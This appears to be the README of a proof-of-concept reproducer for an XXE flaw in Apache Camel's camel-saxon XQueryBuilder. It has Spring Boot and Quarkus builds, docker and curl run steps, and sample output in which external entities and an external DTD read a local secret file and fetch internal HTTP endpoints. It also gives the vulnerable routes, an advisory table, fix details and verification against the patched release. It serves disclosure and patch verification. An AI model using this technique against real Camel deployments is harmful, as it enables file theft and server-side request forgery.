
Prova de conceito reproduzível para CVE-2026-90885, uma XXE (CWE-611) no Apache Camel camel-saxon XQuery, com builds Spring Boot e Quarkus e verificação de correção.
Source já construído era analisado com os padrões do Saxon (XXE)Reprodutor de prova de conceito executável para a vulnerabilidade do Apache Camel em que o XQueryBuilder no
camel-saxon — que avalia expressões tanto para a linguagem xquery quanto para o
componente xquery — construía sua Configuration padrão do Saxon com opções de análise que continham apenas uma regra
de remoção de espaços em branco, deixando o analisador XML com seus padrões: uma declaração DOCTYPE é aceita e entidades
externas são resolvidas.
| Runtime | Diretório | Stack |
|---|---|---|
| Camel Spring Boot | camel-spring-boot/ | Spring Boot 3.5.13 + camel-saxon 4.22.1 |
| Camel Quarkus | camel-quarkus/ | Camel Quarkus 3.39.0 (Quarkus 3.39.0, Camel 4.22.0) |
Por que 4.22.1 para o Spring Boot: a correção foi retroportada para
camel-4.22.xapenas depois que a 4.22.1 já havia sido lançada, portanto a 4.22.1 é a última versão afetada dessa linha e a 4.22.2 é a primeira corrigida. Fixar a 4.22.1 torna esse limite o ponto do reprodutor.
Corpos String, byte[] e InputStream são convertidos em um javax.xml.transform.Source pelos próprios
conversores de tipo XML do Camel, que configuram o analisador contra entidades externas — esses corpos nunca foram
afetados. Um corpo que já era um Source era entregue ao Saxon sem alterações, e um Source baseado em stream
ainda precisa ser analisado, então o Saxon o analisava com aquela Configuration padrão.
cd camel-spring-boot # or: cd camel-quarkus
mvn clean package
docker compose up -d --build
# the servlet/HTTP port opens before the Camel context finishes starting, so wait for the context:
until [ "$(curl -s http://localhost:8080/exploit/ready)" = "Started" ]; do sleep 1; done
curl -s http://localhost:8080/exploit/attack
docker compose down
Saída em um build afetado (idêntica em ambos os runtimes):
Expression under attack: concat(string(/r/data), string(/r/data/@leak))
It copies //data and //data/@leak into the result. It reads nothing itself.
1) XQuery over a StreamSource body, external entity -> file:///tmp/cve-2026-90885-secrets/db-password.txt
expression result: [db.password=LOCAL-FILE-s3cr3t-99]
local file contents in the result: true
2) XQuery over a StreamSource body, external entity -> http://127.0.0.1:8080/internal/secret
expression result: [INTERNAL-SECRET-s3cr3t-42]
internal endpoint response in the result: true
3) XQuery over a StreamSource body, external DTD -> http://127.0.0.1:8080/internal/leak.dtd
expression result: [no-entity-hereINTERNAL-DTD-WAS-FETCHED]
attribute defaulted by the fetched DTD in the result: true
4) CONTROL - the same document as a String body (Camel's type converters build the Source)
expression result: []
local file contents in the result: false
5) The same String body through a route doing convertBodyTo(Source.class) first
expression result: [db.password=LOCAL-FILE-s3cr3t-99]
local file contents in the result: true
Requests the XML parser made to internal endpoints on its own: [GET /internal/secret, GET /internal/leak.dtd]
>>> PROVEN: ...
A Probe 5 é a que importa na prática. O remetente publica texto XML simples — a forma do corpo que
não é afetada, como mostra a probe 4. A rota então executa convertBodyTo(Source.class) antes de a expressão
ser executada, e só isso move o corpo para o caminho afetado. Nenhum Source construído pelo atacante, nenhum
componente incomum, nenhuma opção não padrão: uma etapa de conversão comum na rota é toda a pré-condição. O
aviso nomeia este caso explicitamente, juntamente com um componente ou processador anterior na rota que define o
corpo como um Source baseado em stream.
As probes 1–3 são a mesma falha alcançada ao entregar o Source diretamente, que é o que um componente anterior
na rota faria.
Nada está mal configurado. Nenhuma opção de configuration, nenhuma configuração de parser, e a expressão não lê nada:
from("direct:xquery")
.setBody(XQueryBuilder.xquery("concat(string(/r/data), string(/r/data/@leak))").asString());
from("direct:xquery-converted")
.convertBodyTo(Source.class)
.setBody(XQueryBuilder.xquery("concat(string(/r/data), string(/r/data/@leak))").asString());
O atacante controla apenas o documento XML que está sendo avaliado.
| Propriedade | Valor |
|---|---|
| Componente | camel-saxon (XQueryBuilder, usado pela linguagem xquery e pelo componente xquery) |
| CWE | CWE-611 (Restrição Imprópria de Referência a Entidade Externa XML) |
| Severidade | Alta |
| Vetor de ataque | Um DOCTYPE com um subconjunto externo, ou uma entidade externa, em XML que chega a uma expressão XQuery como um Source baseado em stream já construído |
| Impacto | Ler arquivos legíveis pelo processo Camel; fazer o processo emitir requisições para hosts nomeados no documento |
| Versões Afetadas | De 4.0.0 antes de 4.18.5, de 4.19.0 antes de 4.22.2 (o caminho de código é anterior à 4.0 e estava presente nas versões 2.x/3.x) |
| Versões Corrigidas | 4.18.5, 4.22.2, 4.23.0 |
| JIRA | CAMEL-24691 |
| Crédito | Leon Zlobecki |
Aviso: https://camel.apache.org/security/CVE-2026-90885.html
Não é o mesmo problema que o CVE-2026-85250, que dizia respeito a
documentType=InputSourcenocamel-xpathe foi corrigido em 4.18.5, 4.22.1 e 4.23.0. Ambos são caminhos de entrada que contornavam o endurecimento padrão do parser, mas são componentes diferentes e nenhuma correção cobre a outra — em particular, a 4.22.1 resolve o CVE-2026-85250 mas não este problema.
O XQueryBuilder agora constrói sua Configuration padrão com opções de parse que habilitam
disallow-doctype-decl e desabilitam external-general-entities, external-parameter-entities e
load-external-dtd, alinhando um corpo Source com o parser endurecido que o XmlConverter do Camel já
aplicava a corpos String, byte[] e InputStream.
A mudança é visível e está registrada no guia de atualização da 4.23: um corpo que chega ao XQuery como um
Source já construído e que carrega um DOCTYPE agora é rejeitado com um erro de parse, enquanto corpos sem
DOCTYPE não são afetados.
Apenas a Configuration padrão é endurecida. Uma fornecida através da opção configuration do
endpoint ou da linguagem, ou através de XQueryBuilder.setConfiguration, é usada como está — assim, uma implantação que
genuinamente precise de processamento de DOCTYPE ou entidade externa pode mantê-lo, e uma implantação que forneça sua própria
Configuration por qualquer outro motivo precisa aplicar as mesmas opções de parse por conta própria.
Corrigido no main em apache/camel#26344
(9c23b686), retroportado para camel-4.22.x em #26728
(0d0ed8bb) e para camel-4.18.x em #26730 (ed513f3a).
Defina camel.version como 4.22.2 (Spring Boot), ou ambas as versões de plataforma para uma release do Camel Quarkus que carregue
o Camel 4.22.2 ou posterior, e execute novamente. Verificado contra 4.22.1 → 4.22.2:
1) ... [FAILED: XPathException: SXXP0003 Error reported by XML parser: DOCTYPE is disallowed when the
feature "http://apache.org/xml/features/disallow-doctype-decl" set to true.]
2) ... same 3) ... same
5) ... same